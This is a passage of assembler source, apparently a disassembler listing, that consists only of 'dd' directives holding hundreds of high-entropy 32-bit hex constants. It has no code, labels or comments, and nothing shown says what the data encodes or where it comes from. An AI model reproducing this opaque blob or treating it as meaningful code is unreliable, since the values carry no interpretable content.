		dd 82E39C2Fh, 83F054E7h, 1A5F7E55h, 0A52337Ah, 2B5BACF2h
		dd 0E18B96A4h, 0B5D6C07Fh, 0F5098010h, 7B90454h, 0BD4F2CB0h
		dd 0D8DD90DDh, 2CE93DFAh, 5DAF8E7Ch, 2B940B82h,	62A6E6E7h
		dd 53E95202h, 32070915h, 5E8E2EE1h, 9BE681CFh, 0CE170A4Ch
		dd 95AF13C8h, 54E5059Eh, 0B4BDC74Bh, 2A8BF1DEh,	72A72492h
		dd 79F2041Eh, 0BA16B82Dh, 99BA5195h, 20F1BE98h,	2EF9B73Fh
		dd 4942BD02h, 0D7567736h, 0F85E3580h, 4CDDE91Eh, 16DE6777h
		dd 0EF658429h, 0BA49FDE7h, 2CB714Ah, 0A4A99733h, 685D5B41h
		dd 0F2280F77h, 62BD6683h, 0EDC141CFh, 0E5824002h, 0AC33BD2h
		dd 0F431B5C5h, 124BC6ABh, 273F19E8h, 0A3BA8F52h, 0DAF7C664h
		dd 87EA403Eh, 0D614F265h, 384A060Dh, 0FBD1AEFCh, 19DD0A6Eh
		dd 9DEBADDEh, 4A17AFECh, 0D10BCA6h, 6368022Dh, 5C0E4C78h
		dd 0BA5F44EEh, 4B7FDC8Ah, 5532C28Ah, 0D22F8F40h, 89427B0Fh
		dd 6DCFC6FDh, 9D567A4Fh, 72F5DA4h, 85722B01h, 44E2794Ah
		dd 4EE8A089h, 9673B9B0h, 0E5BFD073h, 0DD98ECCh,	0A2DCEF17h
		dd 647F032Bh, 54CE92Fh,	8E8F90Eh, 4AB3E248h, 1670D529h
		dd 68D78195h, 75C23155h, 0E9703F76h, 7606B72Eh,	326E6A30h
		dd 0F33DD106h, 0E908DEB1h, 4FEE780Ch, 9416BE1Eh, 82A837EBh
		dd 0C164EC16h, 5AD1A9B7h, 0DC2B2781h, 0E10B1055h, 0EA11D7C3h
		dd 99E245D7h, 0C22BC22Ah, 0E90801D0h, 0FDC27A36h, 0FE0943D3h
		dd 50C37475h, 0B5A827B4h, 0F780B7C7h, 5F507DD7h, 0EDF4F4FAh
		dd 96951097h, 8DECBD02h, 0BD139960h, 4B2C75B5h,	0B59A32Dh
		dd 0FDC3B6A5h, 0C5DF4C4Ah, 51D88822h, 5E535A09h, 76D50896h
		dd 0E32D4800h, 0F612EA31h, 3389EF10h, 14D7B771h, 2CB2E7Ch
		dd 8CF45210h, 4F128500h, 0D789BE22h, 8C90BA0Bh,	59E95456h
		dd 0B95C29ADh, 1999FBA5h, 0FF2C0C78h, 17C44555h, 0E3CAAAABh
		dd 212EB616h, 0C4B9511Dh, 185E27AEh, 883F13B1h,	3020E96Bh
		dd 0BE5AC768h, 4CDB3264h, 7C618760h, 4240372Dh,	0B9AEDDE3h
		dd 24765922h, 217FBA00h, 40318052h, 0FE8BCA2Dh,	0FC692F51h
		dd 19BFC0FDh, 594A8872h, 0CDE331EFh, 0BB233FB6h, 2C9BC94Bh
		dd 2FD69D3Bh, 44079F1h,	5B697F21h, 2EA0CA95h, 6F08D15Eh
		dd 9EDB2F19h, 0EFF53CB4h, 0E9E6F12Ah, 775802F6h, 0A0200105h
		dd 612C681Ch, 0E9601E42h, 97FFC643h, 0FFDD1677h, 5ADCA5C6h
		dd 170EDAA9h, 117BA47Ch, 297BA9D8h, 4D11974Ch, 59B80081h
		dd 56D1844h, 8BD61FBDh,	0A9CAFEB3h, 0D72D1ED7h,	7E51C6C9h
		dd 4A6A8182h, 0A05A26DEh, 9AA207ACh, 0CDD1A0D5h, 60826723h
		dd 7FE30C06h, 7C9F20ADh, 0EFF8813Fh, 905016DFh,	664F7236h
		dd 7313BCCFh, 0FEC0D428h, 2D6C0223h, 0CF5E2912h, 0FE53BF42h
		dd 5C518B49h, 0C1A00FF3h, 0C30145Eh, 90FC4B27h,	405E4A71h
		dd 7FEDF29Fh, 0CEF66B51h, 28AACF59h, 579FAC6Ch,	0A5C5DD8Ah
		dd 0B056CD7Dh, 0EE685C0Dh, 2D7FD295h, 5CD13BC3h, 22BEDC2h
		dd 434CD820h, 57270796h, 764BE9E5h, 196861E2h, 0CB672C3Bh
		dd 58AFC07Ah, 0A6C72E80h, 30F90365h, 0FE9959EFh, 41C6B5Bh
		dd 0B6523FC2h, 84F0756Ch, 6FEF04E6h, 6A616661h,	0A88D256Fh
		dd 5F675D7Bh, 0FA068BEh, 0A27A342h, 6805DDF2h, 57B27EF7h
		dd 0FB220481h, 0DC5CE07h, 2695DD71h, 3E91238h, 6320F7E1h
		dd 6B671236h, 37280109h, 31F2A511h, 4DB22A64h, 5E76662Fh
		dd 0EFA4C72h, 7C3060BBh, 1704EF54h, 840DFE2Bh, 5E55B9FDh
		dd 620276E8h, 4E0A5036h, 66178677h, 9580B211h, 0C212FDh
		dd 0F930E1DEh, 5FE97638h, 82252729h, 10D72D9Fh,	406946Eh
		dd 93682897h, 2BD24530h, 7EEF69BFh, 0BF0036F9h,	3F975E48h
		dd 350BCF81h, 0F40C552Bh, 7EFC078Bh, 6051DBD7h,	0D0E0BC64h
		dd 0E7748B7h, 0EC16A458h, 0D9A84CC8h, 50BA9C0h,	795B463Bh
		dd 0E0E762AFh, 4C8CC4DFh, 5C2618B2h, 0AD688576h, 7D5EE306h
		dd 89203541h, 0CD02562Eh, 9FEF522Dh, 0E99221A7h, 7689E3B1h
		dd 44DF9268h, 0CF575818h, 0FEC73120h, 0BFD158F7h, 0C2F2297Eh
		dd 144503Dh, 6E6066B8h,	44C20915h, 0CC27A1F1h, 472C4448h
		dd 0A425CC30h, 0EFAC2D77h, 16D32813h, 2932C2ABh, 0D1E1908Fh
		dd 727E6C36h, 5EC81350h, 10D640F4h, 324A417Bh, 0D2433961h
		dd 805D958Ch, 13773F5Ch, 0DE893128h, 9265DB2Ah,	0F2EEC342h
		dd 64FE9732h, 0EFCABB17h, 1D0B2F55h, 2C4C44Fh, 0BA98E91Ch
		dd 278DE6D7h, 6818766Ah, 568175BBh, 8070F9F8h, 0C6BFD868h
		dd 28BCF058h, 25BE2A17h, 553A59A6h, 45004278h, 0D8F70953h
		dd 14310Dh, 7B2D1B57h, 5069C34h, 0D571DB1Ch, 1FE94084h
		dd 0BDBBBDD4h, 1FBA4BF6h, 0E651C790h, 0CCEED221h, 619471F5h
		dd 54226F68h, 2CB5FE50h, 0B43BE2D5h, 0A80CCBCBh, 0DC355F17h
		dd 0EA69D724h, 0A4C795CCh, 0BB1A2094h, 4CF50517h, 0BCD8FAF1h
		dd 6679055Ah, 1D2DD801h, 61354107h, 60563E6Bh, 0FC49526Ah
		dd 4DF0002Eh, 8FBE3BE8h, 0E1950B1Eh, 28B2EE01h,	5E2480F7h
		dd 0FCD17759h, 5B85984Eh, 5F93BC8Eh, 0FF96AAE6h, 0FB0CD944h
		dd 1C44BB03h, 63BD53D0h, 0A12F3816h, 0E51625BCh, 0C494BC61h
		dd 530910B2h, 0E2684CE8h, 20325C4Bh, 0BD3F696h,	9507EC2Dh
		dd 0C5C5012h, 2104B955h, 6265E9C7h, 0FBC874FBh,	53635BCBh
		dd 5497EA88h, 6DFAC187h, 0C8AC3AE7h, 164EB881h,	2466F53Ch
		dd 521E5ABCh, 0A552C688h, 7CAE3D56h, 405AC9C3h,	0B0F448Ch
		dd 46AC68C8h, 0DB2010C6h, 0EE5B4BB1h, 5B5469DCh, 0DD2BBB5Eh
		dd 0BED2C312h, 0F7420FD9h, 5C234A45h, 0C0C5018Bh, 601A5C3Ah
		dd 410A3B10h, 0F091243h, 0C4CCD1Fh, 0B8A0C7Bh, 29D8273Ah
		dd 5BE5E383h, 45E3AE85h, 85305C2Dh, 0F93D566Eh,	1C79677h
		dd 3B738901h, 133A20EEh, 6F4A40C5h, 0E94E33D9h,	6F13BA4Ah
		dd 0AF1DBEAh, 99034AE9h, 0D130B063h, 532E4B21h,	5BF2AD75h
		dd 0E36977FBh, 5902178Bh, 275CDDEBh, 2FA05F2Fh,	996CA3E3h
		dd 9807A4Ch, 0F4884C87h, 25C5A705h, 35BA5200h, 0CD2C1409h
		dd 6003FFA6h, 65F403D8h, 0D3894817h, 0DB8E5471h, 6E15403Ah
		dd 0BB6C5E0Bh, 0E90B6A61h
		dd 0F32A5034h, 94924038h, 39281614h, 0E9900EF7h, 0FA8296D7h
		dd 81667EFCh, 36FB1F2h,	0C580704Bh, 301932A1h, 22CD6B69h
		dd 0B6B0D1Dh, 0B0DD511Ah, 276A84FCh, 0B7007F21h, 3009BE05h
		dd 60FD4E4Bh, 7685BD09h, 0A10EEF7Ah, 0DFEEB1B4h, 203ED9C7h
		dd 0DC0D0FE9h, 0E6EE08A8h, 0CA31234Fh, 8484A27h, 7A99C28h
		dd 8253D231h, 55DA207Dh, 0DF6CEE62h, 0EBFE5F4Ah, 0B6AF39B4h
		dd 92ABD68Dh, 60F73679h, 9DC328C2h, 95514AFEh, 0C0B5C32Bh
		dd 2E5F03F2h, 6E4E6E3h,	80043C14h, 3EE9C905h, 6731FE03h
		dd 0B11140B3h, 0BED02AC7h, 4FE535B8h, 2BA1B033h, 2091DF05h
		dd 0EEB0EA89h, 680706DCh, 3786E90Ch, 0BF57C588h, 0CB3D640Fh
		dd 7EA6DC0Ah, 7ED9F789h, 0EF08256h, 0F310244Ah,	77508253h
		dd 7DBEFA97h, 3347275Eh, 8A0988FBh, 207FF962h, 436F0FE4h
		dd 54C4657Fh, 9DE6E84Fh, 8E58CA8Ch, 737E1679h, 894EE81Ah
		dd 70E4895Fh, 0CD21250Fh, 95705874h, 2A4B3E6Ah,	19F1EA02h
		dd 0E07DABCDh, 55B3E94Eh, 0EF2F95DCh, 0B7AB4553h, 0AF5585EAh
		dd 5A329CBBh, 4492C041h, 6892C04Eh, 98976D3Fh, 962A8040h
		dd 17B260ACh, 81030FD7h, 0C537FEFh, 0DD8A2F5Bh,	5679C309h
		dd 0EA9857EBh, 0AA99AF0Eh, 7C5E5C9Eh, 0CD31F96Dh, 1B327F3Fh
		dd 95CA44AEh, 34E0CA29h, 411F952Dh, 688F5B0Bh, 23DF7DF6h
		dd 0DDE28100h, 95553375h, 0E905C459h, 8A28C412h, 27619493h
		dd 9CBC28C6h, 9B9AFD2Fh, 2FB90161h, 0D69E7EE9h,	49C04507h
		dd 25E89B52h, 3F94DD5Ah, 0BAA12254h, 0A94F550Fh, 0FDB4453Dh
		dd 7251E4BBh, 555AFDC5h, 9EB9A4BEh, 0DB693D5Ah,	0A8BFA014h
		dd 4FEDE18Ch, 45B58C2Eh, 89FB11D3h, 0A0012ABEh,	60E35373h
		dd 4FB38520h, 684D20D6h, 5BB94004h, 45B01FCCh, 0CAAC2F73h
		dd 8AB6C2CFh, 0C7C1066h, 475D5C25h, 45F1A661h, 7784AAEAh
		dd 689C2CFEh, 5A0FA838h, 2BFB39BBh, 27E9449Ch, 0A35265A7h
		dd 0DD3F0B07h, 0ACE36872h, 85B9FC8Ch, 4C90748Fh, 55B3132Bh
		dd 0F6E801AAh, 30BB5220h, 513E6FEh, 0CE08DEF7h,	0E1BF01CFh
		dd 7E78FB69h, 133F3EE4h, 1309747h, 0CD05076Ah, 0DC96C3Bh
		dd 621370E9h, 0D9AE816Ah, 0B5082C69h, 9ADF88FFh, 5D2A4743h
		dd 0A2295A8Dh, 6F08D207h, 25FE2827h, 47D13DA6h,	0BFF53CBh
		dd 0D8F4F51Dh, 70375782h, 5347FD6Dh, 6ACFE942h,	0A7C25D32h
		dd 38352D41h, 3687D31Fh, 0B2FF5225h, 7036B6EFh,	91BC4BBh
		dd 846AB85Fh, 290548D4h, 0D60A1ED8h, 0E36345FEh, 28A2AE58h
		dd 0E24B6D49h, 326A168Eh, 4E687031h, 947865AAh,	7180B23h
		dd 0D1E59882h, 873715Fh, 5F16E8E7h, 4FE40FBFh, 0FAAEA545h
		dd 597D5ACBh, 707905E2h, 2CD83A37h, 0B3B0915Ch,	7E9852A6h
		dd 3C31C140h, 0D3497C8h, 3EE7BB36h, 40F5EB40h, 0E19D5F31h
		dd 0BF04EE77h, 383D2ED1h, 0D8B65200h, 373E08B4h, 514085C3h
		dd 2AE96DB1h, 77A44BB2h, 0A96549EEh, 9982124h, 2D485B92h
		dd 0CE139D11h, 0A1EE0178h, 97E8058Fh, 5BE58B42h, 6841F121h
		dd 0EB2C4F25h, 5F3956C6h, 411CF304h, 0C3BF0844h, 874B89B0h
		dd 35D28EC1h, 0D9A21440h, 268F7BAAh, 0A7234E25h, 1ABEA751h
		dd 12F54E4h, 0E8F9589Fh, 0B7FC38ECh, 0EB876425h, 574465C2h
		dd 2A01D5E1h, 0B95B56BAh, 2C651035h, 8233F15Eh,	75680806h
		dd 8789F151h, 63BB4001h, 4348EE09h, 5E0A10D7h, 0BFF64227h
		dd 4084EA8Fh, 0E951735Bh, 0CD035E09h, 1ACA20B7h, 19A8B980h
		dd 1429B33Eh, 32F36E3Dh, 4E75A65Fh, 7660AE29h, 6B5E48FCh
		dd 0DA982FDBh, 522CD3F7h, 0FE0D8A53h, 0B03F7F25h, 0AB4139B4h
		dd 2A37E12Bh, 12DAF2BCh, 210C8EF5h, 1DB058E4h, 9714B97Ah
		dd 95FDF6E0h, 0BB50CFF4h, 0D9773A43h, 0D247DED0h, 0D064C10Dh
		dd 5789A52Eh, 0A4800E0h, 577A5EEEh, 7A40BF1Fh, 0DA1D07AFh
		dd 46C92DC1h, 0D9F829F4h, 8C5F0E2Eh, 4638B70Ah,	1A2BFFD8h
		dd 1AC31320h, 40D75AE2h, 0FC11B8EDh, 0F654C24Eh, 44D734E8h
		dd 0D2EE18F4h, 821C0B03h, 0DAF82EFBh, 6D0586B6h, 5C636870h
		dd 8ACB8DBEh, 0EA13EA76h, 0BEE9D105h, 3150AEA9h, 82785A51h
		dd 0D175219Fh, 0BB8A076h, 3CFF1D11h, 2E29F40Bh,	823EC5F5h
		dd 30262870h, 90AF8F5h,	163AE9D8h, 0FB35B95Fh, 82DF5230h
		dd 67155F60h, 2D68DE00h, 396A03B6h, 317E24E9h, 58C4DAD6h
		dd 13031C32h, 0A100FDC8h, 505A932Ch, 0A01F1F98h, 0B726CC88h
		dd 7214E90Eh, 0A975EBA5h, 0BED3F422h, 0FD9214F3h, 0E5D6502Ah
		dd 481DD40h, 0F759C2EFh, 0E781EB55h, 0D40EE7Ch,	4BD21DB6h
		dd 2FD8BEE8h, 7ED28C1h,	7A970798h, 754A27D0h, 5AD40BFFh
		dd 3C41967Ch, 0C807DC2h, 0DF97FA65h, 369664E9h,	0B5E38007h
		dd 0B12DF333h, 0EFF99BCBh, 625C07FEh, 0DCF9C162h, 2DCA5549h
		dd 279B515Fh, 5527C465h, 3A5D28E9h, 849A5D85h, 0A101748h
		dd 0E15E3Ch, 0B47B1D01h, 501DB77Eh, 5080083Bh, 7B4879B0h
		dd 12B970F2h, 0EA6658C3h, 0E0ED0622h, 84325E28h, 3EA0B438h
		dd 0FF5825E3h, 0FFE9B998h, 852557C0h, 4C7F226Bh, 1F17A72Dh
		dd 5D61BC27h, 716750A0h, 970B73h, 42F493F2h, 0D9E91899h
		dd 31584449h, 0E2E7DF5Ch, 8029D501h, 6954D3D5h,	6FC6CE80h
		dd 0E9172615h, 66A2E1B1h, 8365EE02h, 3E61480Fh,	9CB2078h
		dd 12D1DAB5h, 0A1F4E95Bh, 68D82E22h, 5C684027h,	6BC37BA3h
		dd 5B31ABA5h, 6C791B87h, 0BB9B7A4h, 575D12E9h, 3B0C03B1h
		dd 0E90B80E3h, 12A31CBDh, 0C600A877h, 9D6598B9h, 5814955h
		dd 0EE6816C9h, 33CCAA3Ah, 0B19120E9h, 68525307h, 7E1567A9h
		dd 4E3688EAh, 79CC5F1Ah, 83F2000Ch, 0B1FAE93Bh,	206F0F0Eh
		dd 1C68740Bh, 500AAEBBh, 95013981h, 6F41B0BFh, 0E10DB568h
		dd 0C4E7B92Ah, 65FE0B20h, 2C174435h, 0F4800206h, 29FD8435h
		dd 4B66AC18h, 0FB56C5C4h, 38774B14h, 0FF4A235Eh, 0EDA33527h
		dd 5B2227A7h, 57E8745Ch, 95B55F12h, 75BFEAF6h, 60833D5Eh
		dd 0E80C5615h, 277216F1h, 11A07C74h, 22D46BD3h,	0FBA80CC3h
		dd 5AE8D4Dh, 0A01FE99Ah, 0DCF1212Ah, 7597C110h,	59DD2B9Ah
		dd 0D35FC14Eh, 0D6EC72E0h, 0DCBF3BC5h, 7C95DD17h, 0C06E8899h
		dd 59027526h, 0F7727B02h, 4D432645h, 8F180A11h,	21A84047h
		dd 0A592797h, 5FE82862h, 309B8096h, 6661B209h, 17B03207h
		dd 87D5E416h, 0C201794Ch, 0E4389DE9h, 1F68EF5Bh, 0E2475E80h
		dd 67FD983Ch, 0C33A9728h, 0B3C2B0D5h, 0B8D697ADh, 74025DE2h
		dd 31128A71h, 0BE203ED0h, 0DBEEEB90h, 402D89Ch,	7EC20836h
		dd 2C82C222h, 0D28B8AF1h, 0EBFFD6B9h, 684B047Fh, 0A4DB67FEh
		dd 44891F4Ah, 2D2A79D0h, 0DF5A6BF6h, 0A68D4890h, 97BF5780h
		dd 0C3F62D52h, 80B3BA4Bh, 0FFA43158h, 0F85ADACBh, 0E9319875h
		dd 0EBB14FD1h, 0E6014163h, 85C25E62h, 7EE3AB2Fh, 0AA3A5084h
		dd 0AD5F1A8Fh, 5CBD023Ah, 7D40195Eh, 0C057E562h, 4624568h
		dd 66E97F13h, 3CD89D24h, 0B2861011h, 0CEBEB41Dh, 0AE120BC5h
		dd 68824EA6h, 125C6A64h, 896575CBh, 28C7D4A5h, 55C101EDh
		dd 0BFE923A2h, 0C5916C57h, 0E6BAE765h, 5D6E6BF2h, 14640F47h
		dd 595428FFh, 0BEC2514Eh, 5BC5A553h, 56D48AFEh,	0CCE916AEh
		dd 1C53BE4h, 0B188DB92h, 3B5DE889h, 63C97C45h, 43C29034h
		dd 0D36748C8h, 5022F056h, 3E1E5357h, 0F2D81C99h, 0E4F94A2Dh
		dd 0F9F8584Dh, 0B3A0B7F1h, 14254724h, 81C076BDh, 15F84167h
		dd 7252814Eh, 466F1A62h
		dd 4157E93Eh, 0C5586298h, 53AF43B5h, 10B1A643h,	0BE4A06A5h
		dd 7552CA1Eh, 4CB68B8Ch, 770E1E26h, 4745F82Ch, 8018C008h
		dd 50BFE0CEh, 351935E9h, 26D7ACD1h, 808E3098h, 0BFD3CC5h
		dd 0D8EDC0DCh, 66A44C5Dh, 2F045901h, 5225B9E9h,	19C132A1h
		dd 0C43B8EA5h, 1AC267C7h, 0EA87E207h, 0D009B95Ah, 0C9E4F955h
		dd 0DF295AEAh, 20F3C775h, 2AA7079Ch, 0DA5307D0h, 38EC03ABh
		dd 34075C17h, 6CEE0AE4h, 59DCF660h, 0E93A0A2Dh,	0C3F43932h
		dd 10033620h, 0ED8015B5h, 1D49D142h, 432A8924h,	13543F06h
		dd 7D44228Ah, 0D98707EFh, 3BE269D0h, 5FFA2429h,	442F03F3h
		dd 6BCF7D9Bh, 3F08FC08h, 3CBA8241h, 0F7A443E9h,	0A8F67B6Eh
		dd 9BCD94Bh, 10B83CC6h,	541276E6h, 0EE3549h, 970AAF67h
		dd 2825E92Ch, 0AFE77B43h, 56639579h, 47D70C0Ah,	0C6140539h
		dd 59257392h, 508B5553h, 0A8D6CD04h, 8F5E2D69h,	12D4254Dh
		dd 539064BBh, 0B01EECA1h, 9712B468h, 0D3F4C06Ch, 738B0762h
		dd 0AD48F1AEh, 77F61275h, 0D9C297D6h, 4FDEC78h,	21C867A7h
		dd 3684BB5Eh, 2CBC8680h, 0BF32028Ch, 487768E2h,	22502FCh
		dd 0C4664754h, 5F28Bh, 5C8C679Fh, 8A8E872Dh, 0C55AD47Bh
		dd 2F762DEFh, 8DED3D20h, 33372636h, 280F0622h, 41EC3485h
		dd 6FB7105h, 3DB0A1E9h,	26549F33h, 0AAC7E9EFh, 0B91C5C89h
		dd 0C23F3D89h, 43F457D8h, 120CE30Eh, 956CFBEh, 9A0540E9h
		dd 0A703D7C1h, 165B5468h, 50D325EDh, 0C2E42668h, 12410DDh
		dd 0EA0373FDh, 1B782750h, 98E833DAh, 85392ABAh,	36848CDh
		dd 0DD69B958h, 1EFBCC51h, 9C4FD913h, 79D82CF3h,	0B7685897h
		dd 0F6CB8748h, 0D0954EB0h, 3DB40AF7h, 283BE34h,	3983712Fh
		dd 808C505Fh, 6790E908h, 74C5E94Fh, 0FEF7A06Dh,	0AF257AB8h
		dd 7096201Ch, 903C0104h, 135F01A2h, 0ECE97C6Dh,	0E1B548BAh
		dd 0A7BB853Ch, 0F541D821h, 2B7ACD3Ah, 4E7EF4E0h, 3D64AABBh
		dd 38863580h, 0E97B1D7Dh, 6E4965CAh, 5396E141h,	0E8805AE6h
		dd 66185D2Ch, 0AD0CB151h, 4C83A28h, 0E29BA64h, 493CD9D1h
		dd 0E11560h, 812AFF3Ah,	2002DECDh, 1256948h, 0BC7942FCh
		dd 0B56EE909h, 2AD271F6h, 300C96E0h, 6EEC15A2h,	3F5E3558h
		dd 0D9E930C0h, 3959BB5Ch, 209CF24Fh, 55E91A29h,	5A5FB4D3h
		dd 9072F18Dh, 0CAAC9917h, 2EA4A0Eh, 4E3968B3h, 0E123D8ECh
		dd 956027F1h, 208C576Ah, 7C9005A5h, 3E7AD295h, 7992CA01h
		dd 0AC86A4BDh, 67AEFB4Eh, 0B07FB452h, 3E85FB2h,	95AF14BDh
		dd 68DE5160h, 970F1A22h, 0AA89ADD1h, 19647FD7h,	9400729Dh
		dd 0E5679F53h, 0D6B81F1Ah, 5C81EE23h, 862DEA3Ah, 31D8D16Eh
		dd 0D92B20F1h, 5E78D843h, 5D76026Ah, 20E1CF29h,	884A24DAh
		dd 555AD327h, 92E389E3h, 14DA924h, 17672004h, 0A70D88AEh
		dd 0BA01DABEh, 185B5835h, 0E83B24E9h, 6C342F24h, 0EFBB04BDh
		dd 0EA25DE66h, 46BC86C9h, 14FB24Eh, 1CFC7EB9h, 47AE3D1h
		dd 0A52CE95Ah, 18CE0121h, 0D477C208h, 0E85C72A4h, 99E40A72h
		dd 3004E420h, 162C5BDEh, 0B57479FCh, 2C62EDF9h,	4B6FC11Fh
		dd 44E2313Eh, 47EB2AA9h, 0A2C3804Eh, 0B6E1B252h, 5A122CF9h
		dd 0F117F6F3h, 0DD5C0487h, 637EFD8h, 9FE5F0A9h,	627F6D62h
		dd 7207FC8Fh, 0E574806h, 59010674h, 0EBA7BF3Fh,	2FE001h
		dd 3E781C6h, 0FCB87545h, 9DE9D717h, 0E1573CC2h,	162E9C0Bh
		dd 5761EA6Ch, 0AF3EF030h, 4A4B675Dh, 5FE620A0h,	0BD223E4Eh
		dd 0BA529280h, 0FD256879h, 5978502Bh, 5C1691FAh, 6FC1C166h
		dd 345FF16Ch, 0CF2D68D5h, 41631A55h, 0E36D7803h, 806E494Bh
		dd 13D76DA8h, 0DC53FFEEh, 0E668B260h, 40189F4Bh, 0EE050260h
		dd 0DB8CE905h, 4A34CEBEh, 10942EBAh, 7B489FD1h,	1C87DF39h
		dd 0D3EF097Fh, 39025F88h, 0BDFD3EC3h, 3DDA5FCEh, 93094598h
		dd 756B6928h, 2D080128h, 5AD332FDh, 60F82555h, 609818E4h
		dd 9BBD940h, 0AF1C06Ch,	4C30EDF4h, 5F9161BAh, 41D5ED36h
		dd 1BE02A08h, 0FD114141h, 2F6B21C8h, 0C43FCAB5h, 0A52CEEDEh
		dd 1C02976Bh, 86405A54h, 5C80C0FCh, 417F2668h, 0FDC3C58Bh
		dd 8BFB4B20h, 9BC5B5Eh,	0CD2D4E7Fh, 88C07CBAh, 0D38B2540h
		dd 0D5C5CA5Dh, 340FA168h, 0A6D85381h, 0FC3FE156h, 0C068F019h
		dd 0DAC3C945h, 72824BF4h, 0F76D316Fh, 939887F2h, 4E4A0C8Ah
		dd 54CAF45Fh, 0CC20AE98h, 0E1BF02D8h, 2150C634h, 0A41DAD5Dh
		dd 6924C5D1h, 1E745510h, 512C6E0h, 0E95A794Fh, 5DB8928Eh
		dd 0C3C8537Dh, 51119E98h, 0F86C2BBEh, 3A1576C2h, 486D4DB5h
		dd 0D2E48AD8h, 1817A248h, 2EB745A0h, 38CE80DBh,	815BFD1Dh
		dd 8E9F3F5h, 20AFDAh, 2C6B2DC7h, 91A7596h, 0E7D18C67h
		dd 8340DA7Dh, 0F34F50ADh, 0DD5F2641h, 0D5D6097Dh, 54005F4h
		dd 13470AC6h, 8EC389B5h, 29F910CFh, 0CE85E90Bh,	7CCB98FFh
		dd 3125C528h, 0B6A23012h, 0F15B8859h, 1BE25EF8h, 0C305FBE4h
		dd 73A450B6h, 901F3FBh,	0F108A268h, 9DAFB8F2h, 58BD78CEh
		dd 13A104F2h, 0AF590DD6h, 202BC8C1h, 1DBDEA07h,	6E010BFAh
		dd 2AAD7200h, 0CC11049h, 6D610AD4h, 60EEB16Ah, 141BA79h
		dd 68B4887Bh, 5145DE26h, 0F32FDD69h, 3C5EACE9h,	0ED2E044Fh
		dd 2909C4F7h, 73D15DEBh, 0AE3AD7EDh, 0F530243Dh, 2A46029Fh
		dd 851E93Eh, 8422A745h,	0D4AEDC9Fh, 1650E919h, 97478028h
		dd 0C157D907h, 6063AB5Fh, 7EE68149h, 7E1405E3h,	0B8620B68h
		dd 0FE53C437h, 0ED46580Bh, 97BF9FD6h, 41CBE374h, 0F3810607h
		dd 27750B01h, 43D4CCBBh, 0EA5B0690h, 0BD2E5E8h,	0D24212DEh
		dd 7EAD6241h, 752D0484h, 0AE71FF2Eh, 8C6F5929h,	305B100Ah
		dd 0B2853427h, 930BD8AAh, 2D607B16h, 0B8EA90EEh, 6D5A0D30h
		dd 8A003FEh, 4B35E58h, 12F6BFB5h, 0DA8BAED2h, 0A61CB44Bh
		dd 74486A0Bh, 9D4F6F7h,	3E0C0D66h, 1702C4D0h, 1EE90283h
		dd 0B7E86BCBh, 6B9C5FE5h, 6BED4121h, 4282B8D9h,	1A9378B2h
		dd 0E90A838Fh, 2BD72708h, 68490124h, 0D23A5D72h, 5868DC08h
		dd 343D21BCh, 102D1366h, 121086E6h, 40C34E4Ah, 4BE97C38h
		dd 5F3A246h, 82E1AC1h, 940CFE88h, 1D2D03C7h, 8992B2F0h
		dd 0ED057470h, 0A802397Ch, 56E9AE80h, 0ADBA9Ch,	5A2D63EFh
		dd 8159CD09h, 6F09F574h, 4897267h, 48A0ABFFh, 0C368135Ah
		dd 5A55E354h, 0F17EF589h, 0BF76E06h, 0B997E9C5h, 6A5E0204h
		dd 0E05F0152h, 13D22D80h, 0BE7B063Ch, 3D5842E7h, 0CC0221BDh
		dd 2660FC71h, 0A7289FC6h, 0DD835101h, 71C147Eh,	424E1D05h
		dd 3FF3806Dh, 6251D526h, 0ADDF70DBh, 120018DCh,	0EF813522h
		dd 41D11DE5h, 1ACF80C1h, 8719530Bh, 64EF734h, 0FABE8B98h
		dd 0E8704828h, 81A4B12Eh, 38C6C981h, 0E016022h,	0C129A540h
		dd 477133F2h, 2BB03B60h, 883C240Fh, 0CED62C16h,	0E4DB1472h
		dd 9B19100Ch, 0B20BCBFCh, 27C5F03h, 57A7D0B7h, 0E6C9391Bh
		dd 908A2E4Ch, 5C8FA64Eh, 0B8AD4F0h, 0F6520D3Dh,	0ADEC16D8h
		dd 0B1E63005h, 2691F781h, 1CD8904Dh, 331672F0h,	9CAACBF9h
		dd 9F882340h, 0CAB8A482h, 74EC800Eh, 38536EA2h,	8E3A96BBh
		dd 5101E1C8h, 29F5B195h, 0A03A28D8h, 27AC432Dh,	0A0FDCC1Fh
		dd 0C2EAD731h, 7B589794h, 8367CDB1h, 2526F2CBh,	470939E9h
		dd 0D22500DDh, 9F09D673h, 0A7762FC0h, 7EC565Eh,	0F74C187Bh
		dd 0CE4265Bh, 0FD8641E5h, 12C96F25h, 0BAC24480h, 16CAB4Bh
		dd 5368F209h, 0CCEB223Fh
		dd 62A05F32h, 4D414F9Ch, 34035D9Dh, 860EC3CBh, 67BFE480h
		dd 26B434ECh, 0B353B7D0h, 976FF068h, 0BFEA18FDh, 0BE0812C1h
		dd 0BD440C31h, 0A025E90Dh, 0AC7FC4D8h, 74FBB717h, 25E58208h
		dd 0A75149C1h, 6F5D5C5Fh, 1617BE64h, 77199DE8h,	3E5A0E15h
		dd 0BA224A8Ch, 34F797C5h, 0CB9EC9h, 1EE82293h, 0BC597BFh
		dd 0C9FFC729h, 38B57018h, 65204381h, 5E6631C6h,	2FF9F18Ah
		dd 18B1A2CCh, 5850E565h, 7A246759h, 96087852h, 0BC5C16A8h
		dd 5BE99822h, 0A9E15828h, 5866110Eh, 113AF16h, 0C5C3E2ABh
		dd 0CEEED339h, 5BEB4817h, 6FE9C2F4h, 0EA60714Eh, 765A4320h
		dd 816ADA9Fh, 0DEF1E908h, 298B2E3Ch, 9E34E7Dh, 20811AA5h
		dd 7895DFC6h, 5BAC1790h, 0E295003Fh, 543032A0h,	0C7B0F2ECh
		dd 8901400Bh, 0F69304D5h, 66AF4316h, 0B9F8F77Eh, 41F1C0DDh
		dd 2F03F284h, 7F0E914Bh, 965F420Bh, 0B29E2A1Ah,	0EAD8D256h
		dd 0FA01B141h, 406A42E9h, 0AC7EF7BCh, 0BDB0AA97h, 20197B2Ch
		dd 505BE904h, 1895DAB4h, 0C0B8B05h, 454E3572h, 0AE4B97F8h
		dd 0B470818Ah, 98BE883Fh, 2AF8C682h, 0E9D25DBAh, 52BCE8FEh
		dd 0C0D0F607h, 3CC10374h, 0C103B8E2h, 64106B2h,	9F6CC9h
		dd 0FB65258h, 3A28C704h, 5A382CF0h, 0BDFBD83Ch,	0BB233F92h
		dd 0DE91CB88h, 0C01F325Bh, 87FB450h, 0C05801E6h, 0C6FE02EEh
